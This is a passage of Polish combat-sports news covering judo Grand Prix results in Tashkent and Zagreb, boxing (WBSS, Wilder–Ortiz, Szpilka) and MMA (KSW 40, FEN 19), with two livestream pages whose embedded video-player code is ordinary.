Ponad rok temu Beata Pacut zapisała na swoim koncie pierwsze zwycięstwo w międzynarodowym turnieju na poziomie seniorskim. Judoczka Czarnych Bytom triumfowała w Pucharze Świata w Warszawie. W finale Polka pokonała Karen Stevenson, wcześniej wygrała trzy walki. Triumf na własnej ziemi to szczególne wydarzenie w życiu każdego sportowca. W kolejnych startach Pacut prezentowała się dobrą dyspozycję i często znajdowała się w stawce rywalizujących o miejsce w czołówce.

W tym roku 21-latka znalazła się na podium w Pradze i w Mińsku. Samanta Soares i Marhinde Verkerk to zawodniczki, które stanęły na drodze naszej reprezentantki do triumfu. W Taszkiencie scenariusz układał się idealnie dla Beaty Pacut. Na początek Polka uporała się z Rosjanką Aleksandrą Babintsevą, później trafiła na 28-letnią Albinę Amangeldiyevą. Reprezentantka Kazachstanu atakowała, ale nieczysto i przegrała z Pacut. W półfinale 21-letnia Polka pokonała Bernadette Graf, która w tym roku wygrała zmagania w Bukareszcie i Hohhot. Do wykonania pozostał tylko jeden krok. Ale kolejny turniej Polka zakończyła ze srebrnym medalem. W finale Beata Pacut przegrała przez waza ari z siódmą zawodniczką tegorocznych mistrzostw świata Ukrainką Anastasiyą Turchyn.

„Najcięższe” złota

W kategorii +78kg triumfowała brązowa medalistka olimpijska z Rio de Janeiro Anamari Velensek. Reprezentantka Słowenii wygrała finałowy bój z Gulzhan Issanovą. Wicemistrz Afryki najlepszy w zmaganiach w kategorii do 100kg. Ramadan Darwish z Egiptu wygrał trzy walki, w decydującej pokonał Rosjanina Niyaza Ilyasova. 27-letni Or Sasson (+100kg) sięgnął po złoto odprawiając kolejnych rywali. W decydującym starciu reprezentant Izraela okazał się lepszy od Iuria Krakovetskiego.

Izrael najlepszy

W zawodach Grand Prix w Taszkiencie zaprezentowało się 181 zawodników, w tym 91 pań i 90 panów. Tylko w kategorii +78kg startowało mniej niż dziesięciu zawodników (dokładnie 9).

Triumf w klasyfikacji medalowej zanotował Izrael. Reprezentanci państwa położonego na wschodnim brzegu Morza Śródziemnego zdobyli pięć medali, w tym trzy złote (najwięcej) i po jednym srebrnym i brązowym. Najlepsi w swoich kategoriach okazali się: Sagi Muki (81kg), Or Sasson (+100kg) i Betina Temelkvoa (52kg), która w finale wygrała z Agatą Perenc. Drugie miejsce w klasyfikacji medalowej dla Uzbekistanu (12 krążków – 1, 2, 9), z kolei trzeci byli reprezentanci Mongolii (4 krążki – 1, 2, 1).

fot. PZJudo

KM

Trzecie zwycięstwo Borowskiej

Anna Borowska (57kg) triumfowała w Grand Prix w Taszkiencie. To trzecie tegoroczne zwycięstwo naszej judoczki. O krok od triumfu była Agata Perenc (52kg), która w tym finale przegrała z Betiną Temelkovą z Izraela.

Siedem to liczba symbolizująca całość, dopełnienie, oznacza również pełnię i doskonałość. Właśnie tylu naszych judoków pojechało do Taszkientu. Biało-czerwoni mieli dobre otwarcie turnieju za sprawą wywalczenia dwóch medali.

Smak złota

Anna Borowska z roku na rok prezentuje się coraz lepiej. Zawodniczka Kejza Team Rybnik w tym sezonie czterokrotnie stanęła już na podium międzynarodowych zawodów, w tym trzy razy na najwyższym jego stopniu. Rok temu taka sytuacja miała miejsce trzykrotnie (jedno zwycięstwo).

Starty w 2017 roku Borowska rozpoczęła od występu w Pucharze Świata w Pradze. Reprezentantka Polski stoczyła pięć zwycięskich walk. W decydującej okazała się lepsza od Holenderki Margriety Bergstry. Potem był Puchar Świata w Casablance, gdzie Borowska postanowiła pójść za ciosem. Zawodniczka wygrała cztery walki, a w finale uporała się Sarą Harachi. Na podium Polka stanęła jeszcze w Pucharze Europy w Mińsku, była trzecia. A potem były mistrzostwa świata w Budapeszcie, gdzie Borowska przegrała w walce eliminacyjnej z Marti Malloy. W Taszkiencie 23-latka udowodniła, że wcześniejsze dobre starty nie były dziełem przypadku. Borowska wygrała cztery pojedynki. W finale pokonał siódmą zawodniczkę tegorocznych mistrzostw świata Timnę Nelson Levy.

Agata Perenc (52kg) po raz trzeci w tym roku stanęła na podium w międzynarodowych zawodach. 27-latka zapisała na swoim koncie triumf w Pucharze Europy w Bukareszcie i zajęła trzecie miejsce w Pucharze Europy w Mińsku. W Taszkiencie Perenc szła jak burza. Wygrała trzy walki niezwykle szybko i efektownie. Polka rozłożyła na łopatki Ki Shuk Tsui, Aigunim Tuitekovą i Ariel Bezalel. W finale Perenc musiała uznać wyższość Betiny Temelkovej. 20-letnia reprezentantka Izraela to tegoroczna wicemistrzyni Europy juniorek.

Kolejny medal o krok

Karolina Pieńkowska (52kg) walczyła dzielnie, ale nie udało jej się powtórzyć wrześniowego sukcesu z Bratysławy i sięgnąć po brązowy medal. Rywalizację w Taszkiencie rozpoczęła od zdecydowanego zwycięstwa z Oysuluv Abdumajidovej. Później musiała sprostać agresywnie walczącej Tsolmon Adiyasambuu. W półfinale Pieńkowska przegrała z późniejszą triumfatorką Temelkovą. Polce pozostała walka o brąz, jednak z doświadczoną Petrą Nareks, która ostatnio na podium stała ponad dwa lata temu.

Jakub Kubieniec (81kg) wygrał jedną walkę. Po porażce z Faganem Guluzadą trafił do repasaży, gdzie sobie nie poradził. Ostatecznie Polak został sklasyfikowany na siódmym miejscu. 

Szybko z rywalizacją pożegnali się Karolina Tałachh (63kg) i Damian Stępień (81kg). W Taszkiencie zaprezentuje się jeszcze Beata Pacut (78kg).

Fot. IJF/PZJudo

KM

Ćwierćfinały na półmetku

Cztery pojedynki World Boxing Super Series za nami, a jeszcze cztery przed nami. Już 7 października w Stuttgarcie starcie w wadze super średniej pomiędzy Chrisem Eubankiem Jr. a Avnim Yildrim.

Tydzień po tygodniu odsłaniane są kolejne karty w rywalizacji o miano najlepszego boksera w kategorii junior ciężkiej i super średniej. 

Pierwsza para półfinałowa zmiana

Oleksandr Usyk oraz Mairis Briedis mogą już dokładnie analizować swoje słabe strony i szykować się do walki. To właśnie Ukrainiec i Łotysz stworzą pierwszą parę półfinałową turnieju WBSS w kategorii junior ciężkiej. Tydzień temu w Rydze Breidis pierwszy raz stanął do obrony mistrzowskiego pasa WBC. 32-latek spotkał się z Mike'm Perezem, który wrócił na ring po dłuższej przerwie i zamienił wagę ciężką na junior ciężką. W debiucie pokonał Viktora Biscaka, ale w Rydze stanął przed trudnym zadaniem. Walka nie należała do tych z najwyższej półki, ale Łotysz wyprowadzał więcej ciosów. Podczas pojedynku nie brakowało gorących momentów w postaci… pyskówek z sędzią. Breidis wygrał jednogłośnie na punkty – 116:110, 115:111 i 114:112.

Ale w półfinale WBSS mistrz świata WBC nie będzie miał łatwego zadania. Łotysz spotka się z czempionem WBO Oleksandrem Usykiem, który uchodzi za zdecydowanego faworyta turnieju. Ukrainiec otworzył WBSS w fenomenalny sposób. Usyk znokautował w dziesiątej rundzie Marco Hucka, czym potwierdził fantastyczną formę. 30-latek wygrał 11 (na 13) w karierze przed czasem.

Na półfinałowego rywala czeka również Yunier Dorticos, który w ćwierćfinale już w drugiej rundzie znokautował Rosjanina Dmitrija Kudriaszowa potężnym prawym prostym. Przeciwnikiem Kubańczyka będzie zwycięzca rywalizacji pomiędzy Muratem Gassijewem a Krzysztofem Włodarczykiem. Pojedynek odbędzie się 21 października.

Druga odsłona

7 października w Stuttgarcie dojdzie dopiero do drugiego starcia ćwierćfinałowego w wadze super średniej. Wcześniej rywalizowali jedynie Callum Smith i Erik Skoglund. Lepszy okazał się Brytyjczyk, który w Liverpoolu wygrał na punkty.

Za faworyta najbliższego starcia uchodzi Chris Eubank jr. Mistrz federacji IBO typowany jest do końcowego triumfu, a do turnieju WBSS zakwalifikował się dzięki wygranej w starciu z Arthurem Abrahamem. 28-letni Eubank jr. będzie musiał się mieć na czujności, bo Avni Yildirim jeszcze nigdy nie przegrał. Brytyjczyk jest pewny swego. – Jestem przyszłością boksu. W sobotę pokonam Yildirima nazywanego tureckim Rambo – zapewnia Eubank Jr.

Kolejny ćwierćfinał WBSS odbędzie się 14 października. Na Wembley Arenie czempion WBA George Groves zmierzy się niepokonanym Jamie'm Coxem. Ćwierćfinałową rywalizację zamknie starcie doświadczonego Jurgena Brahmera z Robem Brantem, które zaplanowano na 27 października.

Fot. pixabay

KM

Dublin zostanie przyćmiony?

Praktycznie wszystko jest już gotowe. Gala KSW 40 w Dublinie już 22 października, karta walk niemalże wypełniona. Jednak w ostatnich dniach na ustach wszystkich znalazła się walka Pawła „Popka” Raka z Tomaszem „Strachem” Oświecińskim. Czy gala KSW 40 nie znajdzie się w cieniu planowanego pojedynku celebrytów?

KSW 40 ma być kolejnym wielkim wydarzeniem polskiej organizacji. Było Wembley, potem PGE Narodowy, a teraz wojownicy zaprezentują się na 3Arena w Dublinie.

Twarzą w twarz

Na początku września do kibiców MMA dotarła informacja o podpisaniu umowy z KSW przez aktora Tomasz Oświecińskiego. 44-latek popularność zyskał dzięki roli „Stracha” w filmach „Pitbull”. Dał się poznać publiczności jako „kawał chłopa”, który ma „parę w łapie” i „pakuje na siłce”. To filmowy obraz, ale 44-latek długo pracował., żeby mieć odpowiednią posturę. Oświeciński to trener personalny, który również potrafi przyłożyć. Doświadczenie zbierał… w walkach ulicznych. Tomasz Oświeciński ma barwny życiorys, a teraz będzie miał okazję dopisać do niego kolejny rozdział.

Natychmiast ruszyły spekulacje, kto będzie pierwszym rywalem „Stracha”. KSW postanowiło odsłonić karty. Oświeciński zmierzy się z Pawłem „Popkiem” Rakiem. Kiedy? Tego jeszcze nie wiadomo, choć prawdopodobnym terminem jest planowana na grudzień gala KSW 41. Organizacja postanowiła budować napięcie wokół walki celebrytów, którzy pojawią się w Dublinie. W stolicy Irlandii „Strachu” i „Popek” staną twarzą w twarz.

Dla popularnego rapera starcie z aktorem będzie trzecim pojedynkiem w KSW. Ostatnio „Popek” pokonał Roberta Burneikę, wcześniej zaś przegrał z Mariuszem Pudzianowskim. Oświeciński wytrwale szykuje się do debiutu w KSW. „Popek” i „Strachu” mają razem 82 lata, więc ich starcie będzie spotkaniem podstarzałych lisów. Nikt nie odmawia im werwy ani umiejętności stworzenia widowiska, jednak na poziomie sportowym można mieć zastrzeżenia.

Co istotne, KSW wypuściło w świat informację o walce celebrytów na ostatniej prostej przed galą w Dublinie. Czy to dobrze? Zapewne kibice dopiszą i będą śledzić galę, ale teraz wszyscy z zapartym tchem czekają na termin walki „Popka” i „Stracha”. Choć jeszcze nie weszli do oktagonu, już skradli show. W Dublinie wszyscy będą czekali na „face to face” Raka i Oświecińskiego. A to nie oni będą najważniejsi w kontekście gali KSW 40.

Coraz mniej niewiadomych

W Dublinie zaprezentuje się Łukasz Chlewicki, który w starciu wagi lekkiej zmierzy się z Paulem Redmondem. 38-letni „Sasza” przegrał przed czasem dwie ostatnie walki w KSW. Irlandczyk ostatnio pokonał Roba Sinclaira na BAMMA 30. Dotychczas 30-latek wygrał 12 z 19 walk.

Z kolei Ariane Lipski pasa KSW w wadze muszej będzie broniła w starciu z Marianie Morais. W Dublinie zaprezentuje się Michał Fijałka. 33-latek zmierzy się z doświadczonym Chrisem Fieldsem.

Kolejny raz Norman Park postara się odebrać pas wagi lekkiej Mateuszowi Gamrotowi. W walce wieczoru wystąpią Mariusz Pudzianowski i James McSweeney.

Fot. KSW

KM

Ortiz wszystko skomplikował

„A miało być tak pięknie”. Jesień fanom boksu miała umilić rywalizacja niepokonanych pięściarzy kategorii królewskiej Deontaya Wildera i Luisa Ortiza. Pozytywny wynik badań antydopingowych Kubańczyka przekreślił te plany.

Wokół pojedynku było niezwykle gorąco. Blisko dwa tygodnie temu mistrz WBC Deontay Wilder apelował do Ortiza, aby ten nie brał dopingu. Przewidział wydarzenia… Co teraz?

Kolejny grzech Ortiza

11 września 2014, Hard Rock Hotel and Casino w Las Vegas. Luis Ortiz w pierwszej rundzie położył na deski Lateefa Kayode i sięgnął po tymczasowy pas mistrza świata WBA. Radość „King Konga” nie trwała jednak długo. Kilka dni później okazało się, że test antydopingowy wykonany po walce dał wynik pozytywny. Kubańczyk stosował nandrolon. Luis Ortiz przekonywał komisję stanu Nevada, że nie zna specyfiku, ale nikt mu nie uwierzył. Walkę z Kayode uznano za nieodbytą, a Ortiz musiał oddać 10 procent wynagrodzenia za pojedynek i został zawieszony na dziewięć miesięcy. 

Na ring bokser urodzony w Camaguey wrócił 20 czerwca 2015 roku. W Montrealu pokonał przed czasem Byrona Polley'a, a cztery miesiące później ponownie walczył o tymczasowy pas WBA. Kubańczyk pokonał w trzeciej rundzie Matiasa Ariel Vidondo i sięgnął po tytuł. Ortiz wygrał cztery kolejne walki, co pozwoliło mu aspirować do rywalizacji o najwyższe laury. Dostał szansę, już wszystko było gotowe, scena czekała, ale… Stare grzechy powróciły. Tym razem Kubańczyk miał stosować niedozwolone środki celem obniżenia ciśnienia krwi.

Były promotor Ortiza Eddie Hearn nazywa pięściarza „idiotą”. Obóz Kubańczyka broni się, a sam bokser twierdzi, że jest czysty. Marzenia o walce tytanów wagi ciężkiej „prysły niczym bańka mydlana”. Wilder może załamywać ręce. To kolejny przypadek, że jego rywal został przyłapany na dopingu. Wcześniej z tego powodu nie doszło do starcia Amerykanina z Andrzejem Wawrzykiem i Aleksandrem Powietkinem. Sam mistrz WBC podkreśla swoją gotowość do rywalizacji z Ortizem. Jeśli nie dojdzie do tego starcia, Wilder chce walczyć 4 listopada z innym rywalem.

Stiverne?

Ostatni pojedynek Deontay Wilder stoczył w lutym w Birmingham, gdzie uporał się z Geraldem Washingtonem. Amerykanin ponownie chciałby wejść do ringu. 4 listopada Wilder mógłby spotkać się w rewanżowym starciu z Bermane Stivernem. To jemu w styczniu 2015 roku Amerykanin odebrał pas WBC.

Z tym, że blisko 39-letni bokser urodzony na Haiti na 4 listopada ma zaplanowaną walkę z Dominikiem Breazealem. Wiele wskazuje na to, że ten ostatni mógłby wtedy rywalizować z Dillianem Whyte'm. Z kolei Stiverne jest obowiązkowym pretendentem do pasa WBC, więc nadarza się znakomita okazja, aby ponownie spotkać się z Wilderem. Na rozwój wypadków trzeba poczekać.

Fot. skysports.com

KM

LIVE: Piaseczno Fight Night VI

Zapraszamy na transmisję telewizyjną na żywo z Gali Międzynarodowej Piaseczno Fight Night VI Masters Fight Series. 

 [kod]

Piaseczno Fight Night VI

Piaseczno Fight Night VI

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/PiasecznoFightNight.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/PiasecznoFightNight.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/PiasecznoFightNight.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/PiasecznoFightNight.livx"
},
width: 640,
height: 385,
autoplay: false,
});

LIVE: Baltic Cup, Sejny 2017

Zapraszamy na transmisję telewizyjną na żywo z finałów Otwartego Pucharu Państw Nadbałtyckich "Baltic Cup" – Sejny. Impreza odbywa się w dniach 13-15.10.2017 w formułach K-1 Rules oraz Kick Light.

[kod]

Baltic Cup, Sejny 2017

Baltic Cup, Sejny 2017

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/BalticCup.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/BalticCup.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/BalticCup.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/BalticCup.livx"
},
width: 640,
height: 385,
autoplay: false,
});

Czy Grabowski trafi na Rinera?

Oczy miłośników judo zwrócone są w stronę Zagrzebia, który stał się areną zmagań turnieju Grand Prix. W sobotę i niedzielę w Chorwacji zaprezentuje się sześciu Polaków. Kamil Grabowski (+100kg) może trafić na legendarnego Teddy'ego Rinera, ale najpierw musi wygrać trzy walki.

Zapowiada się gorący weekend z judo w Zagrzebiu. Czy Polacy będą mieli dobre wspomnienia po starcie w Chorwacji?

Trudny początek

Przed Kamilem Grabowskim prawdziwe wyzwanie. Rywalem Polaka w starciu półfinałowym może być sam Teddy Riner. Każdy kolejny przeciwnik marzy, że będzie tym pierwszym, który powstrzyma gwiazdę judo. Mistrz olimpijski z Rio de Janeiro i Londynu wygrał ponad 130 walk z rzędu. Ale zanim Polak stanie do rywalizacji z 28-letnim mistrzem olimpijskim z Rio de Janeiro i Londynu musi spełnić kilka warunków. A dokładnie mówiąc trzy. Jednak los nie oszczędzał Polaka, który już w pierwszej walce zmierzy się z Renatem Saidovem.29-letni Rosjanin to brązowy medalista mistrzostw świata z 2014 roku z Czelabińska. Z kolei rok później był trzeci w Igrzyskach Europejskich w Baku. Świetny w wykonaniu Saidova był rok 2016, kiedy czterokrotnie stał na podium międzynarodowych imprez. Rosjanin wziął również udział w Igrzyskach Olimpijskich w Rio de Janeiro, gdzie z rywalizacją pożegnał się w drugiej rundzie przegrywając z późniejszym brązowym medalistą Rafaelem Silvą. W tym roku Saidov jeszcze nie stał na podium. Z kolei Kamil Grabowski może pochwalić się trzecim miejscem wywalczonym w Saarbruecken.

Mocnego rywala wylosował również Jakub Wójcik (100kg). Polak trafił na Ivana Remarenco, który trzy lata temu zdobył brąz mistrzostw świata w Czelabińsku. Co ważne, dla reprezentanta Zjednoczonych Emiratów Arabskich był to ostatni start, w którym stał na podium. Warto dodać, że Remarenco wystąpił rok temu w Rio de Janeiro. Start zakończył na drugiej rundzie, jego pogromcą okazał się Lyes Bouyacoub.

W Zagrzebiu zaprezentują się również: Michał Bartusik (73kg), Karol Kurzej (81kg), Damian Szwarnowiecki (81kg) oraz Tomasz Szczepaniak (90kg). Żaden z judoków w tym roku nie stał na podium w międzynarodowych zawodach. Najlepsze wyniki Kurzeja i Szczepaniaka to piąte miejsce wywalczone odpowiednio w Sarajewie i  Katowicach.

Medalistów nie zabraknie

W Zagrzebiu nie zabraknie mocnych nazwisk. Na tatami zaprezentują się tegoroczni medaliści mistrzostw świata Rustam Orujov (srebro 73kg) i Elmar Gasimov (brąz 100kg) czy mistrz Europy z Warszawy Robert Mshvidobadze (60kg). Niepodważalną gwiazdą imprezy będzie jednak Teddy Riner.

W zawodach Grand Prix zaprezentuje się łącznie 294 judoczek i judoków z 47 państw.

KM

Najman ponawia propozycję

Artur Szpilka miał jeszcze raz w tym roku wejść do ringu. Jednak tak się nie stanie. Wszystko przez bakterię gronkowca, która eliminuje boksera z jakichkolwiek zajęć. Szpilka ponownie otrzymał ofertę walki od Marcina Najmana.

Popularny „El Testosteron” nie ustaje w próbach i próbuje namówić pięściarza z Wieliczki. Na Szpilkę miałaby podziałać magia warszawskiego stadionu PGE Narodowy.

Problemy Szpilki

W ostatnim czasie były pretendent do pasa WBC wagi ciężkiej nie ma powodów do radości. Po przegranym starciu z Wilderem, na kolejne przyszło mu czekać półtora roku. W Nassau Coliseum w Uniondale Szpilka został rozbity w czwartej rundzie przez Adama Kownackiego. Akcje 28-latka zdecydowanie spadły. Szpilka miał jeszcze w tym roku stoczyć walkę na odbudowanie i zaprezentować się przed rodzimą publicznością.

Mówiło się, że w grudniu pogromca Tomasza Adamka w końcu spotka się z Krzysztofem Zimnochem. Jednak plany trzeba odłożyć na bok. Teraz najważniejsze jest zdrowie Szpilki. Pięściarz ma za sobą zabieg lewej ręki, ale w jego organizmie pojawiła się bakteria gronkowca, która opóźnia leczenie. Szpilka musi przyjmować leki i cierpliwie czekać aż w pełni się wyleczy.

Podczas regeneracji, „Szpila” ma nad czym myśleć. Były pretendent do tytułu WBC otrzymał propozycję walki od Marcina Najmana. – Arturze Szpilka, w świetle ostatnich wydarzeń, czyli odwołania ci po raz kolejny walki, ponawiam propozycje stoczenia pojedynku ze mną 26 maja na PGE Narodowym podczas Boxing Night 14 „The Legend” (pisownia oryginalna) – napisał na swoim profilu na Facebooku „El Testosteron”.

Dlaczego nie?

To nie pierwsza propozycja Najmana skierowana do Szpilki. W lipcu 38-latek wyraził zrozumienie dla trudnego położenia młodszego o 10 lat „Szpili”. Podkreślał, że był w podobnej sytuacji i podniósł się. Najman skierował do Szpilki „pomocną dłoń”, jednak ten nie zareagował.

38-latek podjął kolejną próbę i zapewnia pięściarza z Wieliczki, że ten może liczyć na solidną gażę, a występ na PGE Narodowym byłby wyjątkowym doświadczeniem. – Jeżeli, faktycznie czujesz się ode mnie lepszy, to co stoi na przeszkodzie? Mojego Wspólnika stać na to by zapłacić Ci porządną gaże, a mnie stać na to by wypłacić Ci prawego cepa. Nie daj się prosić i namawiać. Jesteśmy bokserami. To nasza robota. Wejdźmy do ringu i dajmy kibicom wielkie emocje. Potraktuj to jako szanse na powrót. Na pięknym Stadionie i świetnej gali. Trzeci raz proponował już nie będę. Pozdrawiam Cie i życzę Ci abyś uporał się z gronkowcem – napisał Najman.

KM

Jasna droga Wildera

W listopadzie w Barclays Center w Nowym Jorku mistrz świata wagi ciężkiej WBC Deontay Wilder zmierzy się z Luisem Ortizem. Amerykanin wierzy w swój triumf i snuje kolejne plany. 31-latek mierzy w starcie z Anthony'm Joshuą.

Starcie Bronze Bombera i King Konga zapowiada się niezwykle smakowicie. Główni aktorzy listopadowego widowiska przekonani są o swojej wielkości, co podkreślają na każdym kroku. Ring zweryfikuje ich słowa. Jeden będzie mógł świętować, drugi zazna pierwszej porażki w karierze.

Mistrz dąży do unifikacji

Nie da się ukryć, że w wadze ciężkiej zaczęło się dziać. Przez wiele lat widzowie mogli oklaskiwać braci Kliczko i patrzeć jak kolejni śmiałkowie odchodzą z niczym. Dwa lata temu nastąpiła zmiana warty. Władimir Kliczko przegrał z Tysonem Fury'm, jednak ten nie poradził sobie z problemami. Na pierwszym planie pojawił się Anthony Joshua. Jedną z głównych postaci kategorii królewskiej stał się również Deontay Wilder.

W styczniu 2015 roku Amerykanin wywalczył tytuł mistrza świata WBC pokonując na punkty Bermane Stiverne'a. Co ciekawe, to jedyna walka w karierze boksera pochodzącego z Alabamy, która zakończyła się werdyktem sędziów. Pozostałe 36 wygrał przed czasem. Dotychczas Wilder pięciokrotnie bronił pasa, posyłając na deski m.in. Artura Szpilkę. 4 listopada w Barclays Center 31-latek po raz szósty będzie bronił tytułu mistrzowskiego. Jego rywalem będzie potężny Luis Ortiz. 38-latek jeszcze nigdy nie przegrał na zawodowym ringu i stanie przed życiową szansą na zdobycie tytułu WBC. Kubańczyk podkreśla, że bije mocniej niż dotychczasowi rywale Wildera i ten powinien obawiać się starcia z nim. Oponenci zwracają jednak uwagę na wiek Ortiza i jego gabaryty, które wpływają negatywnie na jego motorykę.

Wilder przekonany jest o swojej wielkości i nie widzi nikogo mocniejszego od siebie. Chce pokonać Ortiza, a później przymierza się do starcia z innym czempionem wagi ciężkiej Anthony'm Joshuą. – Kiedy pokonam Ortiza, chcę walczyć z Joshuą – powiedział mistrz świata WBC. –  Wszyscy wiedzą, że chcę unifikacji. Zrobię wszystko, żeby osiągnąć ten cel. Teraz na mojej drodze stanie Ortiz, którego muszę pokonać, aby zbliżyć się do unifikacji. Później będę czekał na kolejnych. Pokonam Ortiza, Joshua zrobi swoje z Pulewem i wtedy musimy się spotkać – dodaje Deontay Wilder.

Co u innych ciężkich mistrzów?

Zanim do ringu wejdą Wilder i Ortiz, na arenie pojawi się Anthony Joshua. 27-letni czempion stanie do pierwszej obrony wywalczonych w kwietniowym starciu z Władimirem Kliczko tytułów. Do swojego dorobku (IBF) Joshua dołożył pasy IBO i WBA. 28 października zmierzy się z Kubratem Pulewem.

Z kolei mistrz świata wagi ciężkiej WBO Joseph Parker pokonał w minioną sobotę niejednogłośnie na punkty pokonał Hughie Fury'ego. W zgodnej opinii ekspertów postawa 25-latka z Nowej Zelandii rozczarowała.

KM

FEN 19: Wywiad z Rubym przed walką z Arabem!

Bartłomiej „Ruby” Brzeziński zadebiutuje w MMA 14 października podczas FEN 19 „Bitwa o Wrocław”. Jego rywalem będzie popularny „Arab”, czyli Gabriel Al-Sulwi. „Ruby” jest przekonany, że w stolicy Dolnego Śląska wygra i pojedynek nie potrwa pełnego dystansu trzech rund. – To nie będą szachy. Bardzo szybko wygram, chce go znokautować w pierwszej rundzie – grzmi Brzeziński.

Podczas Targów FIWE mówiłeś, że jesteś znakomicie przygotowany. Coś od tamtego czasu się zmieniło?

Ruby: Nic, absolutnie. Forma jest jeszcze lepsza, bo mam za sobą kilkanaście jednostek treningowych więcej. Jest dobrze, forma dopiero przychodzi.

Walki nie możesz się doczekać jak rozumiem.

R: Zdecydowanie. Przebieram nogami  pod stołem, bo chcę walczyć już dziś. Jestem gotowy, ale czas działa tylko na moją korzyść i na pewno za dwadzieścia parę dni będę jeszcze lepszy.

Na jakim ty jesteś etapie przygotowań? Zostały trzy tygodnie, więc około pięciu powinieneś mieć już za sobą. Tak się przyjęło – do walki zawodnicy przygotowują się około ośmiu tygodni.

R: Mam więcej, bo szybciej zacząłem trenować. Biegałem, robiłem ogólnorozwojówkę. W decydującą fazę przygotowań chciałem wejść już przygotowany fizycznie do sparingów i zajęć na macie. Nie chciałem przez pierwsze tygodnie dopiero przyzwyczajać organizmu do obciążeń.

Profesjonalnie.

R: Pełen profesjonalizm. Walczę zawodowo dopiero po raz pierwszy, ale wszystko robię tak, jak robią to zawodowcy. Nie wyjdę do klatki niegotowy. Będę przygotowany.

Pytanie, na ile starczy ci tlenu.

R: Na trzy rundy po pięć minut, bo na tyle zakontraktowana jest walka. Nie myśl sobie, że ja nie wiem, jaki jest pełen dystans pojedynku. Zgodziłem się na te reguły świadomie, wiedziałem, że trzy razy pięć to piętnaście. Będę przygotowany.

Stoczyłeś już sparingi na pełnym dystansie piętnastu minut?

R: Oczywiście, że tak. Wysiłek jest ogromny, ale dawałem radę. Nigdy nie miałem problemów z kondycją. Zawsze uprawiałem sport, a od kilku lat sztuki walki. Takie zmęczenie to dla mnie nie nowość.

Mówiłeś jednak, że ten pojedynek nie potrwa trzech rund. Sędziowie nie będą wam potrzebni.

R: Nie, bo wyjdę i go znokautuję. Chciałbym w pierwszej rundzie. Zobaczymy jednak jak będzie. „Arab” powie ci pewnie to samo – wyjdę i zniszczę go na samym początku. O to chodzi w tym sporcie, to ludzie kochają, za to płacą za bilety.

Wielokrotnie podkreślałeś, że klub, trener i koledzy bardzo pomagają ci w tych przygotowaniach.

R: Bo tak jest. Naprawdę, obojętnie co się stanie w klatce, to otaczam się profesjonalistami, którzy doskonale rozumieją MMA. Bez nich by mnie tu nie było.

Zwycięzca bierze pełną pulę i może szykować się do kolejnych walk, przegranego czeka porządny rachunek sumienia – zgodzisz się z tym?

R: Tak może być. Ja wygram i będę chciał dalej walczyć. Kręci mnie MMA, lubię trenować, adrenalinę, emocję. Widzę siebie w tym sporcie w kolejnych latach.

Jak przygotować się pod przeciwnika, który nigdy nie walczył?

R: Nie jest to łatwe, bo nie mogę włączyć Youtube’a i zobaczyć czterech jego ostatnich walk. To wielka niewiadoma, ale jestem przygotowany na naprawdę różne warianty. Niczym mnie „Arab” nie zaskoczy. Ważne będą pierwsze minuty. Po nich będę wiedział, co robić i jak go zaskoczyć.

Masz w głowie plan na tę walkę?

R: Już od bardzo, bardzo dawna. Wiem, jakbym chciał, żeby ona wyglądała. Wiesz co? Ona będzie tak wyglądała. Powiedzieć nic nie mogę, ale nikt nie będzie miał prawa czuć się zawiedziony. To będzie naprawdę mój dobry występ.

FEN 19: Gumienna kontra Waliczek na FEN 19!

Mamy to! Róża Gumienna (8-0) 14 października będzie broniła pasa mistrzowskiego FEN w kategorii do 65 kilogramów. Jej rywalką podczas „Bitwy o Wrocław” będzie Marta Waliczek (1-0-1). Starcie odbędzie się na zasadach K-1.

Gumienna wraca zatem do klatki FEN po dziewięciu miesiącach przerwy. 14 stycznia podczas 15. edycji, która odbyła się w Lubinie, zawodniczka Punchera Wrocław pewnie pokonała na pełnym dystansie Martinę Fendrichovą i została pierwszą w historii mistrzynią FEN w K-1. –  – Róża nie walczyła u nas od stycznia, to najwyższy czas, żeby to zmienić. Ona jest z Wrocławia, ma w swoim mieście fanów, którzy nie wybaczyliby nam, gdybyśmy pominęli ją w rozpisce walk na „Bitwę o Wrocław” – powiedział Paweł Jóźwiak, prezes FEN.

Marta Waliczek we Wrocławiu zadebiutuje w klatce FEN, ale w K-1 stoczy już swój trzeci pojedynek. Jak do tej pory na swoim koncie ma wygraną oraz remis. Waliczek to świeżo upieczona złota medalistka The World Games, które w lipcu tego roku odbyły się we Wrocławiu. Trenująca na co dzień w DAAS Berserkers Team Bielsko-Biała zawodniczka nie miała sobie równych w Kick-boxingu w kategorii do 61 kilogramów. W przeszłości Waliczek przez 10 lat trenowała karate, w którym została mistrzynią świata i zdobyła czarny pas.

Starcie zapowiada się o tyle imponująco, gdyż zmierzą się ze sobą dwie niezwykle utalentowane zawodniczki, które marzą o tym, by w przyszłości święcic wiele sukcesów pod szyldem federacji FEN.

Bilety  na FEN 19 „Bitwa o Wrocław” dostępne są na stronie www.fen-mma.com/bilet, Biletyna.pl, Eventim.pl, Kupbilet.pl.

Szykuje się trzecie starcie

Kto jest lepszy? To pytanie będą zadawali sobie wszyscy do czasu trzeciej walki Conora McGregora i Nate'a Diaza. Prawdopodobnie obaj spotkają się 30 grudnia w Las Vegas na gali UFC 219.

Wróble ćwierkają, że starcie Irlandczyka i Amerykanina stanowiłoby niezwykle smakowity kąsek. Dwaj wojownicy muszą w końcu rozstrzygnąć spór, który z nich jest lepszy.

Trylogia

